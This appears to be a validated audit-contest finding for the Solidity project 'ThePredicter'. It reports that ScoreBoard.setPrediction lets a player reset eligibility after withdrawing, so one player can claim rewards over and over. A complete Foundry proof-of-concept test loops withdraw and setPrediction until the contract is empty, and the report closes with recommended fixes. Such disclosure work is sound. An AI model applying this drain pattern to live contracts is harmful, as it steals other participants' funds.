Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`ThePredicter.withdraw` combined with `ScoreBoard.setPrediction` allows a player to withdraw rewards multiple times leading to a drain of funds in the contract

Summary

A malicious user can make use of the functions ThePredicter.withdraw and ScoreBoard.setPrediction to withdraw rewards multiple times and drain most / all of the contract funds.

Vulnerability Details

The function ThePredicter.withdraw uses the function ScoreBoard.isElegibleForReward to determine if a player can claim rewards. ScoreBoard.isElegibleForReward checks that the value of ScoreBoard.playersPrediction[player].predictionsCount is greater than one to allow a user to claim rewards, and the function ThePredicter.withdraw sets that value to 0 to prevent a player from claiming the rewards twice. However, the function ScoreBoard.setPrediction can be used by the player to set ScoreBoard.playersPrediction[player].predictionsCount to a value greater than 0, allowing the player to claim the rewards again.

This mechanism can be used multiple times to drain potentially all the funds in ThePredicter

The following PoC based on existing tests in the repository shows how a user can drain the contract by exploiting this vulnerability

pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract MultipleWithdrawTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function test_multipleWithdrawForSinglePlayer() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
vm.stopPrank();
// make predictions
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger2);
// make multiple withdrawals until the contract does not have
// enough funds
while (true) {
try thePredicter.withdraw() {
// any prediction will do, does not have to be valid
scoreBoard.setPrediction(stranger2, 0, ScoreBoard.Result.First);
} catch {
break;
}
}
vm.stopPrank();
vm.startPrank(stranger3);
// this should not revert, but it does, because the contract
// does not have enough funds to pay the player due to the
// previous multiple withdrawals
vm.expectRevert();
thePredicter.withdraw();
vm.stopPrank();
// the contract is empty
assertEq(address(thePredicter).balance, 0);
}
}

Impact

  • Complete loss of funds

Tools Used

Foundry

Recommendations

  • Keep track explicitly of which users have already withdraw the rewards in ThePredicter using a mapping(address => bool) or similar, and revert in case a player wants to withdraw multiple times.

Optionally

  • Add events when withdrawals are made to have more visibility of player actions.

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Multiple withdrawals are possible

`ThePredicter.withdraw` combined with `ScoreBoard.setPrediction` allows a player to withdraw rewards multiple times leading to a drain of funds in the contract.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.